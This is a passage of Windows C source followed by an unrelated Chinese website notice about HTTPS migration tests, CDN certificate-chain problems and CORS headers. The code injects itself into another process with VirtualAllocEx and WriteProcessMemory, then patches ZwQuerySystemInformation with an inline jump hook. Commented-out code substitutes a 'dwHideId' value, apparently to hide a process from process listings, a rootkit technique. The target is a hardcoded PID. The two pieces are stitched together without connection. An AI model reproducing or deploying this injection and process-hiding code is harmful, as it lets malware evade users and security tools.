  338. RequiredPrivileges.Privilege[0].Luid = tkp.Privileges[0].Luid;
  339. RequiredPrivileges.Privilege[0].Attributes = SE_PRIVILEGE_ENABLED;
  340. BOOL bResult = 0;
  341. PrivilegeCheck(hToken, &RequiredPrivileges, &bResult);
  342. if (bResult) printf("\n can debug");
  343. }else{
  344. printf("fail");
  345. }
  346. //OpenProcessToken(hProcess,)
  347. RemoteAllocBase = VirtualAllocEx(hProcess,
  348. NULL,
  349. dwCodeSize,
  350. MEM_COMMIT,
  351. PAGE_EXECUTE_READWRITE
  352. );
  353. if (RemoteAllocBase) {
  354. printf("\t申请内存地址:0x%x\n", RemoteAllocBase);
  355. //g_lpRemoteAllocBase = RemoteAllocBase;
  356. if (ZwQuerySystemInformation) {
  357. bRet = VirtualProtect((PVOID)dwCodeStart,
  358. dwCodeSize,
  359. PAGE_EXECUTE_READWRITE,
  360. &OldProtect
  361. );
  362. if (bRet) {
  363. memcpy(ZwQuerySystemInformationProxy, ZwQuerySystemInformation, 5); //这里可以在本进程中取备份代码也可以在远程进程中取一般正常情况是一样的
  364. //for (int i = 0; i < 50;i++) printf("\ndata %d is 0x%x\n",i, *(DWORD *)(dwCodeStart + i));
  365. //*(DWORD *)(dwCodeStart + 22) = (DWORD)ZwQuerySystemInformation;//这里不需要用特征定位,因为肯定是在第六个字节开始的地方
  366. for (int i = 0; i < 50; i++) {
  367. if (0x88888888 == *(DWORD *)(dwCodeStart + i)) {
  368. *(DWORD *)(dwCodeStart + i) = (DWORD)ZwQuerySystemInformation+5;
  369. printf("\nnumber is %d", dwCodeStart + i - (DWORD)ZwQuerySystemInformationProxy);
  370. }
  371. //printf("\ndata %d is 0x%x\n", i, *(DWORD *)(dwCodeStart + i));
  372. }
  373. *HookCode = 0xE9;
  374. dwFunAddress = GetFunAddress((PUCHAR)HOOK_ZwQuerySystemInformation);
  375. printf("\t原函数地址,:0x%x,初始地址:0x%x,代理地址:0x%x\n", HOOK_ZwQuerySystemInformation, dwCodeStart,ZwQuerySystemInformationProxy);
  376. dwFunAddress -= dwCodeStart;
  377. dwFunAddress += (DWORD)RemoteAllocBase; //计算HOOK_ZwQuerySystemInformation在目标进程中的地址
  378. printf("\tHOOK_ZwQuerySystemInformation内存地址:0x%x\n", dwFunAddress);
  379. *(DWORD *)((char*)HookCode+1) = (DWORD)dwFunAddress - 5 - (DWORD)ZwQuerySystemInformation;
  380. /*dwFunAddress = GetFunAddress((PUCHAR)HOOK_ZwQuerySystemInformation);
  381. for (pBuffer = (PUCHAR)dwFunAddress;
  382. pBuffer<(PUCHAR)dwFunAddress + (dwCodeEnd - dwFunAddress);
  383. pBuffer++
  384. )
  385. {
  386. if (*(DWORD *)pBuffer == 0x12345678) {
  387. *(DWORD *)pBuffer = dwHideId;
  388. break;
  389. }
  390. }*/
  391. VirtualProtect((PVOID)dwCodeStart,
  392. dwCodeSize,
  393. PAGE_EXECUTE_READWRITE,
  394. &OldProtect
  395. );
  396. }
  397. }
  398. bRet = WriteProcessMemory(hProcess,
  399. RemoteAllocBase,
  400. (PVOID)dwCodeStart,
  401. dwCodeSize,
  402. NULL
  403. );
  404. if (bRet) {
  405. bRet = WriteProcessMemory(hProcess,
  406. ZwQuerySystemInformation,
  407. HookCode,
  408. 5,
  409. NULL
  410. );
  411. if(!bRet) printf("fail to write ! error:%d", GetLastError());
  412. }
  413. }else{
  414. printf("%d", GetLastError());
  415. }
  416. CloseHandle(hProcess);
  417. }
  418. return bRet;
  419. }
  420. void test() {
  421. ULONG cbBuffer = 0x80000; //32k
  422. PVOID pSystemInfo;
  423. NTSTATUS status;
  424. PSYSTEM_PROCESS_INFORMATION pInfo;
  425. pSystemInfo = malloc(cbBuffer);
  426. status = HOOK_ZwQuerySystemInformation(SystemProcessesAndThreadsInformation, pSystemInfo, cbBuffer, NULL);
  427. if (status == STATUS_INFO_LENGTH_MISMATCH||!NT_SUCCESS(status))
  428. {
  429. free(pSystemInfo);
  430. return;
  431. }
  432. pInfo = (PSYSTEM_PROCESS_INFORMATION)pSystemInfo; //把得到的信息放到pInfo中
  433. for (;;)
  434. {
  435. LPWSTR pszProcessName = pInfo->ImageName.Buffer;
  436. if (pszProcessName == NULL)
  437. {
  438. pszProcessName = L"NULL";
  439. }
  440. printf("PID:%d, process name:%S\n", pInfo->ProcessId, pszProcessName);
  441. if (pInfo->NextEntryOffset == 0) //==0,说明到达进程链的尾部了
  442. {
  443. break;
  444. }
  445. pInfo = (PSYSTEM_PROCESS_INFORMATION)(((PUCHAR)pInfo) + pInfo->NextEntryOffset); //遍历
  446. }
  447. free(pSystemInfo);
  448. }
  449. int main() {
  450. //SetHook(GetProcessId(GetCurrentProcess()), 500);
  451. SetHook(9480, 444);
  452. test();
  453. system("pause");
  454. return 0;
  455. }

HTTPS加密测试说明

2019-11-19 15:59:49

12月1号更新:

绝大部分的转https处理均已完成,但是用户中心由于采用跨域方式访问 需要返回Access-Control-Allow-Origin响应头告知浏览器可跨域的域名。原方案该域名是写死的,这显然无法正常从HTTP过度到HTTPS。目前改写为通过判断请求方式,但是由于现在采用半程加密的方式,所以PHP仍然取出的是非加密方式访问,导致返回跨域域名仍然为非加密域名,于是跨域失败。尽管网站核心部分已经具备全程加密的条件,但是为了以防万一还是需要做更多的测试。

另 我们会在测试稳定后开启HSTS,尽可能通过安全的加密连接传输数据,但是同时为了保持一些简单的客户端调用API,我们不会通过301/302等后端方式直接重定向链接。具体方案还需要探讨。


现在已经替换了证书并使用完整的证书链了 用户中心及博客部分现在应该都能通过https访问了


现在网站内容部分已经开始进行HTTPS加密连接测试(包括用户中心、静态资源文件已经可以通过https方式访问,但目前仅为测试状态),暂时采用浏览器到CDN半程加密。

由于憨憨百度CDN提供的证书的证书链有问题,导致**安卓客户端会提示证书不可信**(证书本身没有问题,只是缺少中间的机构证书,其他设备基本不受影响)。**此问题无法通过点击继续之类的方法跳过**,因为所需脚本在静态资源域名下。除非再打开静态资源站并信任静态资源域名的证书。

现在正在重新申请证书,尝试其他方式使得CDN能返回完整证书信息(包括可能会采用全程加密的方式)

分类列表更多
杂项
。。。